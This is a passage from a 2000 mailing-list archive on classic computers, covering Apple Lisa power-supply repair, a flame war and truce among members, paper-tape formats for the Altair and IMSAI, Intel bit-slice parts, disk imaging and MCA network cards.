solve the problem. And for relatively common computers, component swapping is a perfectly valid way of isolating a fault quickly. Let's assume the worst case: he had fried his other Lisa. Would that have been a tragic loss to history? There are hundreds (thousands?) of other preserved Lisas out there. Even with blown components, he could still have sold them for hundreds "as-is" on eBay, where they would provide parts to revive other Lisas. Not every classic computer should be treated like a priceless antique. Get some perspective. Just my 2 cents. Mark. From SUPRDAVE at aol.com Thu May 25 17:18:58 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:02 2005 Subject: PCDOS 2000 Message-ID: In a message dated 5/25/00 5:03:40 PM Eastern Daylight Time, wilson@dbit.dbit.com writes: > On Thu, May 25, 2000 at 03:56:22PM -0400, Bill Pechter wrote: > > And DEC unloads the PDP11 to Mentec and OS/2 gets killed. > > Last I heard OS/2 was still very much alive, although IBM's attitude > towards it is surly to say the least. But unlike some companies I could > mention, IBM knows better than to refuse to accept money from their > customers > just because the customers want to buy something other than whatever new > toy the IBM management is excited about this week. So it will probably > keep getting *some* support as long as the customers are willing to pay > for it. > > John Wilson > D Bit there will be an OS2 version update later this year (4.5?) which will offer usb support amongst other things. recently fixpak 13 was announced. of course, downloading it all and installing it is a major task in itself. DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From rigdonj at intellistar.net Thu May 25 18:21:50 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:02 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: <3.0.1.16.20000525182150.0e17d49a@mailhost.intellistar.net> At 03:48 PM 5/25/00 -0600, you wrote: >-----Original Message----- >From: R. D. Davis >To: classiccmp@classiccmp.org >Date: Thursday, May 25, 2000 3:02 PM >Subject: Re: Notes on repairing the Apple Lisa power supply > > > >>Hmmm... have you considered computer preservation as a hobby instead >>of computer demolition? >> > >> >>Shouldn't you have tried to find that out before swapping things >>around without knowing what you were doing? >> >>-- >>R. D. Davis >>rdd@perqlogic.com >>http://www.perqlogic.com/rdd >>410-744-4900 >> > > >On the whole, your reply seemed remarkably snotty and unhelpful, and didn't >add much useful information >to help solve the problem. And for relatively common computers, component >swapping is a perfectly valid way of isolating a fault quickly. Let's >assume the worst case: he had fried his other Lisa. Would that have been a >tragic loss to history? There are hundreds (thousands?) of other preserved >Lisas out there. Even with blown components, he could still have sold them >for hundreds "as-is" on eBay, where they would provide parts to revive >other Lisas. Not every classic computer should be treated like a priceless >antique. Get some perspective. > >Just my 2 cents. >Mark. > Thanks Mark. Isn't it amazing how many people that never contribute a single thing feel that they have the right to criticize others? Joe From g at kurico.com Thu May 25 17:35:22 2000 From: g at kurico.com (George Currie) Date: Sun Feb 27 18:52:02 2005 Subject: Question about PC-MOS In-Reply-To: <2921A6D846E9D31182490050040DC0D6682BDC@hoexc101.hotoffice.com> Message-ID: <392D645A.13309.23407F0E@localhost> IIRC it was a multi-user DOS clone. It allowed you to attach terminals to your pc and have the terminals run certain DOS apps (obviously nothing with graphics). It actually worked pretty well when used with special made Kimtron terminals (the terminal had a "normal" pc keyboard layout). I wrote a video store POS system that utilized this setup at one of my customers locations, pretty slick running on a NCR 286 w/ three terminals (four users total, though the console was primarily used for admin). George > Has anybody heard of an OS called "PC-MOS"? > > I'm supposed to pick up a system on Saturday that runs that OS and was > wondering what the heck it is. > > Thanks, > Steve Robertson > From rigdonj at intellistar.net Thu May 25 18:43:08 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:02 2005 Subject: Strange box In-Reply-To: <392D4315.1CDB0D59@home.com> Message-ID: <3.0.1.16.20000525184308.5aaff9d4@mailhost.intellistar.net> >Joe wrote: >> I found this in a pile of surplus computers yesterday. Can anyone tell >> me what it is? I posted some pictures of the box. They're at "www.intellistar.net\~rigdonj\strange\front.jpg", "www.intellistar.net\~rigdonj\strange\back.jpg", "www.intellistar.net\~rigdonj\strange\drive.jpg", and "www.intellistar.net\~rigdonj\strange\logic-bd.jpg". Joe From rdd at smart.net Thu May 25 17:52:43 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:02 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: On Thu, 25 May 2000, Mark Gregory wrote: > On the whole, your reply seemed remarkably snotty and unhelpful, and didn't Sorry it appeared that way; it was posted only out of concern for the preservation of older computers. > add much useful information > to help solve the problem. And for relatively common computers, component > swapping is a perfectly valid way of isolating a fault quickly. Let's Not always. E.g., a device like a PSU that was working, and is then moved, can have a bit of metal, solder, etc. come lose and short something out. > assume the worst case: he had fried his other Lisa. Would that have been a > tragic loss to history? There are hundreds (thousands?) of other preserved It would be if everyone who had one of them "repaired" it that way. > Lisas out there. Even with blown components, he could still have sold them > for hundreds "as-is" on eBay, where they would provide parts to revive Yes, right... fry that system and then sell it on e-bay, that's ok, because it will still bring a high price, so who cares whether it works, right? Turn the monitors into fishbowls, remove core memory and sell it in a picture frame, because, who cares if these are used again since they can bring big bucks on e-bay. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From rdd at smart.net Thu May 25 18:12:49 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:02 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <3.0.1.16.20000525174657.5327c6a4@mailhost.intellistar.net> Message-ID: On Thu, 25 May 2000, Joe wrote: > No, I didn't since I took it out of a working machine. I don't mean WAS What's that got to do with the price of tea in China? > working, I mean one that I have been using and that I tested less than five > minutes before pulling the PS. Yes, and a CP/M system that I carted home from across the street about 13 years ago was working minutes before I plugged it in. A piece of solder shifted, and a tantalum capacitor burst into an orange ball of flame. That's why I'm careful now about such things; I've seen them happen, learned from my mistake, and try to help others learn from it as well. > If you > >don't know what a short circuit is, just ask, or experiment... e.g., > > Thanks but I've seen plenty of them. Very well then, just trying to he helpful. > >They why did you risk swapping in another un-tested, even though > >thought to be good, PSU, and risk additional damage to the boards? > > Yes, you'd better have your eyes checked! I said KNOWN good power supply. > You even quoted me above. You had no way to know it was good without testing it, and since you had to move it, it could have developed problems as I mentioned. > I tested BOTH power supplies as best as possible before swapping them. Yes, just not properly. > >Hmmm... have you considered computer preservation as a hobby instead > >of computer demolition? > > Have you considered minding your own business and not putting words in > other people's mouths? I expressed an opinion; if you have a problem with that, all I can say is that your problems are not necessarily germane and are better discussed between you and your fleas. :-) > I knew what I was doing. Shouldn't you find out what you're talking > about before you start shooting your mouth off? I don't know what kind of > hair you have up your ass but I just e-mailed you and offered you some of > the DEC 11/44 stuff that you were looking for. Now you can forget that! No problem. Have a nice evening. Perhaps someone will trade you some soap to wash your mouth out with for that stuff. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From mgregory at vantageresearch.com Thu May 25 18:27:11 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:02 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repairing the Apple Lisa power supply] Message-ID: <001001bfc6a0$c3f762a0$0200a8c0@marvin> -----Original Message----- From: R. D. Davis To: classiccmp@classiccmp.org Date: Thursday, May 25, 2000 4:57 PM Subject: Re: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repairing the Apple Lisa power supply] > >Not always. E.g., a device like a PSU that was working, and is then >moved, can have a bit of metal, solder, etc. come lose and short >something out. > I'll concede this point if you're moving it across the country, where careless shippers can bang it around and jar something loose. But when moving it across the room from one system to another, I'd say the chances of a catastrophic failure are small. >Yes, right... fry that system and then sell it on e-bay, that's ok, >because it will still bring a high price, so who cares whether it >works, right? Turn the monitors into fishbowls, remove core memory >and sell it in a picture frame, because, who cares if these are used >again since they can bring big bucks on e-bay. > You're missing the points I was trying to make. Firstly, Lisas are relatively common; thousands were built and thousands survive. It's not like we were talking about, say, an Apple I, where only 600-odd were made, and only a couple of hundred survive. The stakes in using slightly risky trouble-shooting techniques to fix a Lisa are low. Secondly, I care a lot about whether old computers work. Most of the 60+ systems in my collection work, and I'm always trying to find parts and information to fix the ones that don't. But I accept the reality that sometimes old computers die, and get used as donors to fix others. And I was trying to point out that since Lisa's fetch very high prices these days, Joe could even recover some of his investment even in the worst case scenario. The idea of accidentally blowing up a Lisa seems to bother you a lot. If you want to save every single remaining classic computer that exists, you're going to need a bigger apartment / house / warehouse / city to live in, because you're going to need a _lot_ of room. Finally, I think you need to remember that if you've never met someone, and know nothing about them, it's rude to make assumptions about or disparage their intelligence, character, or attitudes. Even in e-mail. And that's my final word on the matter Mark. From eric at brouhaha.com Thu May 25 18:36:06 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:03 2005 Subject: Altair parts substitutions In-Reply-To: (allisonp@world.std.com) References: Message-ID: <20000525233606.7135.qmail@brouhaha.com> Allison wrote: > However no one ever supplied the 3000 two bit slice other than intel. And Signetics. Dunno if they were an officially licensed second source, but the parts are in their data book. From Glenatacme at aol.com Thu May 25 18:43:24 2000 From: Glenatacme at aol.com (Glenatacme@aol.com) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... Message-ID: <34.5aac901.265f149c@aol.com> << On Thu, 25 May 2000, Mark Gregory wrote: > On the whole, your reply seemed remarkably snotty and unhelpful, and didn't R. D. Davis replied: < Sorry it appeared that way; it was posted only out of concern for the < preservation of older computers. >> Good grief, man, give us a break! If that note was posted "only out of concern" then why did it include this bit of condescension???: < Don't you mean an I/O card with a short circuit somewhere? If you < don't know what a short circuit is, just ask, or experiment... e.g., < if, for example, you touch the conductors connected to the hot and < ground connectors of a mains socket, and a fuse blows or a circuit < breaker trips, you'll find that you've learned a lot about short < circuits and saving classic computers. ;-) Anyone who reads this list on even a semi-regular basis knows that Mr. Rigdon is well aware of what a short is. Why the put-down? Do you think that you are conducting a high-school electric shop class and talking to a bunch of eighth-graders? Personally, I have never received anything from Joe Rigdon except help when I needed it, which is more than I can say of you. Actually, I'm glad that you blatantly displayed your arrogance in your post to this list. Now everyone has a better idea of who they're dealing with when they see a note signed "R. D. Davis." Glen Goodwin 0/0 From eric at brouhaha.com Thu May 25 18:57:55 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:03 2005 Subject: Bootable Floppy from CD? In-Reply-To: <4.3.0.20000525095559.022d1600@pc> (message from John Foust on Thu, 25 May 2000 10:02:46 -0500) References: <4.3.0.20000525095559.022d1600@pc> Message-ID: <20000525235755.7362.qmail@brouhaha.com> John Foust wrote: > The 'dd' approach has a few failings. One, it's not tolerant of > bad sectors, right? No, but then not much PC software is. I normally only worry about making disk images of good disks; I don't have any use for preserving bad ones. Assuming that it made sense to save an image of a partially bad diskette, how would you represent bad sectors? > Two, I think you'd need to be sure that your > box's settings could handle all the old variations of disk capacity > from the old days. As I mentioned, Linux *has* /dev/fd0xx variations for all of the common PC disk formats. If you want to save an image of something bizarre, it's definitely the case that you'll have to do something fancier, but I don't recall anyone asking for that. > Three, raw disk images aren't easily searchable > and indexable in the same way as 'tar' or 'zip', but of course those > formats wouldn't handle the boot sectors. For dos diskettes, it's just about as easy as tar or zip when either using mtools, or mounting the image file using the loopback device. From ard at p850ug1.demon.co.uk Thu May 25 17:21:04 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:03 2005 Subject: Paper tape format In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9171@MAIL10> from "Cini, Richard" at May 25, 0 03:49:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 434 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/741cd2a8/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 25 17:26:23 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:03 2005 Subject: Items for trade In-Reply-To: from "R. D. Davis" at May 25, 0 03:51:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 703 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/6cee69f7/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 25 17:33:24 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:03 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> from "Joe" at May 25, 0 02:58:48 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1440 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/a17a0b7c/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 25 17:41:28 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:03 2005 Subject: Strange box In-Reply-To: <3.0.1.16.20000525152820.3d27bd4a@mailhost.intellistar.net> from "Joe" at May 25, 0 03:28:20 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1382 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/4c7f0025/attachment.ksh From foo at siconic.com Thu May 25 19:10:08 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:03 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: Message-ID: On Thu, 25 May 2000, Vintage Computer GAWD! wrote: > The Lisa/Macintosh XL Do-it-yourself Guide has some good data on the Lisa, > but no schematics. I believe I have technical data on the Lisa, but it's > buried :( Duh, a URL would've been nice: http://www.cs.dartmouth.edu/~woz/lisatech/ Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Thu May 25 19:22:14 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repairing the Apple Lisa power supply] In-Reply-To: <001001bfc6a0$c3f762a0$0200a8c0@marvin> Message-ID: On Thu, 25 May 2000, Mark Gregory wrote: > Firstly, Lisas are relatively common; thousands were built and thousands > survive. It's not like we were talking about, say, an Apple I, where only > 600-odd were made, and only a couple of hundred survive. The stakes in > using slightly risky trouble-shooting techniques to fix a Lisa are low. Fact-check: according to Wozniak 200 were made. Now back to the flame fest... FWIW, my thoughts: R.D. Davis was way out of line with his initial reply to Joe. Keep that sort of non-productive ranting to private e-mail. If you wanted to suggest a better way of troubleshooting, offer helpful and useful advice. All you've done is started a flame war that will result in singed egos. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From marvin at rain.org Thu May 25 20:31:58 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... References: <34.5aac901.265f149c@aol.com> Message-ID: <392DD40E.D9E6982D@rain.org> How about dropping this particular thread or taking it to email. Starting this kind of a flame war here doesn't do anyone any good. Glenatacme@aol.com wrote: > > << On Thu, 25 May 2000, Mark Gregory wrote: > > On the whole, your reply seemed remarkably snotty and unhelpful, and didn't > > R. D. Davis replied: > > < Sorry it appeared that way; it was posted only out of concern for the > < preservation of older computers. >> > > Good grief, man, give us a break! If that note was posted "only out of > concern" then why did it include this bit of condescension???: From ard at p850ug1.demon.co.uk Thu May 25 19:49:53 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <016c01bfc692$fab2a600$0200a8c0@marvin> from "Mark Gregory" at May 25, 0 03:48:35 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4368 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/be88bd38/attachment.ksh From allisonp at world.std.com Thu May 25 18:31:49 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:03 2005 Subject: Paper tape format Message-ID: <006501bfc6af$6518e510$7f64c0d0@ajp166> >I suppose one could use a hex format, but I've never seen anything under >CP/M other than binary. Normally it's loaded into memory and then saved to >disk. The common file format for ASM output and LOAD input as well as DDT was intel HEX format. it would be logical to puch tape in that format as it had checksum. I'd add that the OS enforced no format for PUNCH and READER devices other than you could present 8bit and recive 8bit data if you cared to. Allison >> What is the punch format used for a paper tape that would be used on an >> Altair or IMSAI? Is it straight binary or something like the Intel Hex >> format? >> >> The reason why I'm asking is because I'm toying with adding a virtual >>paper tape punch/reader to Claus Guiloi's IMSAI emulator. >> >> >> Rich From allisonp at world.std.com Thu May 25 18:35:17 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:03 2005 Subject: Altair parts substitutions Message-ID: <006601bfc6af$65cbba50$7f64c0d0@ajp166> >I don't think this was an accident, nor was it a mistake. The only >reference I've ever heard/read made to a bipolar fab under Intel's ownership >has been from you. It's not unlikely that I could have missed it, being I worked for their competitor from 79 to 84 so I'd have to know that. I never said they had a lot of capacity, they did however do bipolar as a supporting technology. Allison From allisonp at world.std.com Thu May 25 18:23:22 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:03 2005 Subject: Altair parts substitutions Message-ID: <006401bfc6af$640a5b40$7f64c0d0@ajp166> >> However no one ever supplied the 3000 two bit slice other than intel. > >I don't know if they ever actually supplied them, but I have a 1978 >Signetics 'Bipolar and MOS microprocessors' Databook that lists the >S/N3001 microprogam control unit and the S/N3002 Central Processing >Element. AFAIK they are equivalent to the Intel parts. > >The UK availability chart on the inside cover seem to imply that the >3000-series were available from Signetics in the UK. Sig was the second source for many and made few if any. >The same book also lists the 2901-1 4-bit bit-slice, the 8x300, the 8080, >SC/MP-II and the 2650. And a number of peripheral devices. >One other 'fun' item in the book is the 3000KT8080SK. This is a kit (PCB >+ components) to make an 8080-compatible CPU using 3000 bit-slice. I >would _love_ to see the documentation (which included schematics and >microprogram listings) for this kit ;-) It's been years but I've seen the intel version of that kit. I ahve the signetics catalog but never met anyone that could get half the parts in it. Allison From rdd at smart.net Thu May 25 21:27:12 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:03 2005 Subject: Items for trade In-Reply-To: Message-ID: On Thu, 25 May 2000, Tony Duell wrote: > 4 rows of 32 64Kbit RAM chips is 4 rows, each of 4*64K bytes. Or a total > of 16 * 64K bytes, or 1 Mbyte. > > These boards are larger than you thought, I think (!). Thanks very much for this correction; someone was definitely right about mentioning that I got up on the wrong side of the bed today. > Are you sure they're Unibus? The reason I ask is that I've seen similar I meant to say that they appear to be Unibus. > boards (hex height, NatSemi) made for VAX11/730 (and I would guess > 11/750) systems. They may look like Unibus boards, but the pinouts of the > A and B edge connectors is totally different! How do I tell the difference? I guess I should dig up my 11/7xx handbook and one of the PDP-11 handbooks and make some comparisons. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From rigdonj at intellistar.net Thu May 25 22:44:52 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:03 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: References: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000525224452.355fa79a@mailhost.intellistar.net> At 11:33 PM 5/25/00 +0100, Tony wrote: >> (3) The CPU does not have to be installed for the PS to work but if it's >> not installed the PS will keep resetting and will make a chirping sound. > >There are normally 2 things that will cause that (Note : I've not seen >the Lisa schematics, and I've not seen inside a Lisa for many years, so >these are general comments). > >The first is that the PSU needs a load -- without a load it overvoltages, >fires the crowbar, shuts down, and repeats. The CPU board provides enough >of a load for it to work (but I'd not want to risk an expensive/rare CPU >board as 'just a load' :-)) > >The second is that the PSU uses separate sense lines that actually >measure the voltage at the CPU board and thus compensate for voltage >drops in the wires/PCB tracks between the PSU and the rest of the system. >These lines are connected to the +5V and ground lines on the CPU board >and with the CPU board removed they float. Thus the PSU thinks it's not >generating enough voltage, increases the output voltage, the crowbar >fires, it shuts down, and repeats. > >Try connected a dummy load (a 6V car bulb is what I generally use) >between the +5V line and ground on the backplane with the CPU removed. If >it powers up properly now, then it was just lacking the load. FWIW I usually use an old disk drive. It's very handy since many computers already have a power connector that will plug directly onto the drive and it provides a load to both the +12 and +5 volt power supplies. > >If it still trips, then you need to identify the sense lines and connect >them to the appropriate power lines. You need a schematic, or at least >pinouts of the boards, for this. And some kind of extender cards for working on a Lisa. Otherwise you're correct on all points. I should point out that the video section and floppy drive were always connected on this one and provided a load. I wish I could get a Lisa schematic! I'd love to know where all the interconnects are that can prevent the power supply from turning on. RD completely overlooked (or just ignored) that fact that the problem with this supply is that it never turns on and not that it turns on and is overloaded. The NUMEROUS other Lisas that I know of that have "bad' power supplies have the same symptoms and I have to wonder if it really is a power supply problem or an interconnect/interlock problem or a problem in the I/O card. I posted those notes to alert others to that possiblity and to see if anyone could shed any light on it. Joe From rigdonj at intellistar.net Thu May 25 22:50:37 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:03 2005 Subject: Strange box In-Reply-To: References: <3.0.1.16.20000525152820.3d27bd4a@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000525225037.355f6a14@mailhost.intellistar.net> At 11:41 PM 5/25/00 +0100, Tony wrote: >> I think Tony is right about it beins some kind of buffer box. I wish it >> was some kind of small computer! There are a couple more where I found this > >Well, technically, it is a computer (it's got a microprocessor in it), >but it may well not be user-programmable :-(. Ok OK. > >> one. I opened it this morning and it has has a 8085AH CPU in it along with >> a 8212 IC (8 bit latch) and two 8156 ICs (8 x 256 bit SRAM with timer and >> I/O ports) in it along with a lot of SSI TTL chips. All the ICs seem to be > >Two things which you don't mention... > >Firstly, any kind of ROM/EPROM. Yes. There must be something for it to execute >on power-on. Is there an EPROM in there? If there is, and you can make a >dump of it, then it's worth running strings(1) (a unix program that finds >text strings in a binary file) (or a similar program under another OS). >Sometimes you'll find what's clearly a list of commands or something in >the EPROM. I've thoguht of that. I'll do it if I get the time. One of the list members thinks he may have a manual for it. I'll see what he finds first. > >Secondly, you don't mention any kind of disk controller chip. From which >I conclude it doesn't use one. This almost certainly means that the >format is non-standard, and probably something that no other machine >could read or write. It might be hard-sectored (look at the original >disk). No, the disk is sided sided, double density and soft sectored. There's no disk controller IC in it. It might read/write a track at a time. It might even put >_asynchronous_ data (from some kind of UART) onto the disk -- I've seen >that done once or twice! How can you check for that? Other than monitoring with a scope while it's in operation. Is there any way to check the disk and tell? Joe > >-tony > > From rdd at smart.net Thu May 25 22:36:52 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <3.0.1.16.20000525182150.0e17d49a@mailhost.intellistar.net> Message-ID: On Thu, 25 May 2000, Joe wrote: > Thanks Mark. Isn't it amazing how many people that never contribute a > single thing feel that they have the right to criticize others? Hmmm... ok, so you say I've never contributed anything. Hmmmm, let's see, I guess that means that my writing the PERQ general FAQ, starting the alt.sys.perq newsgroups about 8 years or so ago and archiving it until my uucp news-feed went away about 2 years ago, writing the CT-Miniframe FAQ, the "DEC PDP and Music/Sound Synthesis Summary," maintaing an archive of PERQ files (which I should hopefully soon make available again), offering the list some free CDC removeable-pack disk drives a while back, preserving various systems over the past 13 years or so (I'm not new to computer preservation), etc. doesn't amount to contributing anything. :-) Granted, the above are no huge contributions, just my attempts at helping other hackers and preservationists in return for all the help that I've received from others over the years. Note: since no one claimed the aforementioned CDC drives, I removed the boards from them in case anyone needs them. My former employer sold the drives for scrap metal; however, I still have the boards if anyone needs them. Joe, perhaps I went a bit overboard with my flames - I apologize. Let's settle this dispute like gentlemen, and, no, I'm not challenging you to a duel! ;-) I don't take back my opinion that things such as swapping without appropriate testing are good, however. It's no big deal to me whether or not you ruin your Apple Lisa, as that machine doesn't particularly interest me - although it would be, I think, most unfortunate that it isn't preserved so that it can be compared to superior machines of it's era. :-) :-) :-) All kidding aside, it would be most unfortunate, for various reasons, if no working Apple Lisas, like other systems, were left if they could have been preserved. Please consider this: let's suppose there was some machine that you really wanted, that you spend years trying to find, then, you find one... it's owner says "I've got two of them, and you can have one as soon as I fix a little problem with one of them," and he proceeds to do some board swapping, PSU swapping, etc., and, then you learn that he's fried all of the chips in both machines and decides to weld 'em both together, glue a cushon to the top of one of them, and sell it on e-bay as a high-tech ottoman? Perhaps we both jumped to unfair conclusions about each other, and said things that annoyed each other; let's both stop the feuding and divert the energy used for such to something that we both, in our own ways, think worthy of working on (preserving classic computers), and realize lessons to be learned from this litle flamefest. A truce? -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From jimw at agora.rdrop.com Thu May 25 23:17:57 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:03 2005 Subject: Paper tape format In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9171@MAIL10> Message-ID: <3.0.3.32.20000525211757.009c8320@agora.rdrop.com> At 03:49 PM 5/25/00 -0400, you wrote: >>From the "just out of curiosity" department... > >What is the punch format used for a paper tape that would be used on an >Altair or IMSAI? Is it straight binary or something like the Intel Hex >format? > >The reason why I'm asking is because I'm toying with adding a virtual paper >tape punch/reader to Claus Guiloi's IMSAI emulator. Well... for my $0.225 worth (inflation you know)... I doubt that there is a real answer for that one, unless you select a particular operating 'model' for focus on. By that I mean, that since neither the Altair or IMSAI had a resident monitor program or 'native' operating system at first, there were no hard and fast rules as to what/how you would load code... By way of example: Altair paper tapes were loaded by a keyed in bootstrap routine, which pulled a loader from the paper tape which read the MITS checksummed binary format. IMSAI's paper tapes early on had a keyed in loader, which read in a loader, which read Intel HEX format tapes. Motorola also had a variation on the Intel HEX format which TDL was fond of IIRC, and they produced tapes marketed into the Altair / IMSAI market. Throw CP/M into the mix, and the 'RDR/PUN' devices were raw binary unless they were selected by a loader program, although ASM and MAC could read/write Intel HEX I believe. (where IS that manual...???) Cromemco published their paper tape distributions in a mix of Intel HEX, binary, and Tokenized CROMEMCO BASIC. Processor Technology was largely Intel HEX I think... A lot of third party utility/game/'business' (and I use the phrase lightly) were straight ASCII dumps from Microsoft (sigh) BASIC... ... Tough question, eh? -jim --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From foo at siconic.com Thu May 25 22:41:43 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: Message-ID: On Thu, 25 May 2000, R. D. Davis wrote: > Hmmm... ok, so you say I've never contributed anything. Hmmmm, let's > see, I guess that means that my writing the PERQ general FAQ, starting > the alt.sys.perq newsgroups about 8 years or so ago and archiving it > until my uucp news-feed went away about 2 years ago, writing the > CT-Miniframe FAQ, the "DEC PDP and Music/Sound Synthesis Summary," > maintaing an archive of PERQ files (which I should hopefully soon make > available again), offering the list some free CDC removeable-pack disk > drives a while back, preserving various systems over the past 13 years > or so (I'm not new to computer preservation), etc. doesn't amount to > contributing anything. :-) Blah blah blah. Look, R.D., if you're an asshole you're an asshole. In that one instant that you decide to be an asshole, all your past accomplishments, no matter how noble or how lofty, are forgotten. You just become "an asshole". So next time, be more patient, take a deep breath, and take a couple more moments than it takes to simply be "an asshole" and explain your position in a manner that does not offend the frail sensibilities of fellow list members. > Granted, the above are no huge contributions, just my attempts at > helping other hackers and preservationists in return for all the help > that I've received from others over the years. Quite the contrary, I think these are excellent contributions and I thank you for taking the time and effort to make those things available! Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From dlinder at uiuc.edu Fri May 26 00:27:11 2000 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 18:52:03 2005 Subject: MCA Ethernet Cards Message-ID: All: I have recently stumbled on large stash of MicroChannel Ethernet Cards. I'm thinking of taking the whole bunch (brother & I have a large ps/2 colelction), but would have leftovers for all to partake in. I heard these are generally hard to find, so let me know if you're interested. Ah yes, if I remember, they're various makes & models. ttfn - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - - Riot sounds start riots. / keep talking... - From mikeford at socal.rr.com Fri May 26 01:18:34 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:03 2005 Subject: MCA Ethernet Cards In-Reply-To: Message-ID: > I have recently stumbled on large stash of MicroChannel Ethernet Cards. >I'm thinking of taking the whole bunch (brother & I have a large ps/2 >colelction), but would have leftovers for all to partake in. I heard >these are generally hard to find, so let me know if you're interested. > > Ah yes, if I remember, they're various makes & models. Make REAL sure they aren't nasty old or even nasty new Token Ring cards. Many cards that looked very promising to me, turned out to have the weird RJ45 version of token ring, and weren't ethernet cards at all. I am real suspicious of any IBM chip on such a card now. As for value, a nice card like a LanStreamer with 10bt is worth maybe $10 - $15, garden variety 10bt maybe $5 - $10, and 10b2 coax maybe $5, and those are retail prices (ebay etc.). When I dig them out of a bin its more like buck or two each, or $10 for a handfull. Value in MCA is still pretty much Sound cards and some video cards. From wilson at dbit.dbit.com Fri May 26 02:30:24 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:03 2005 Subject: 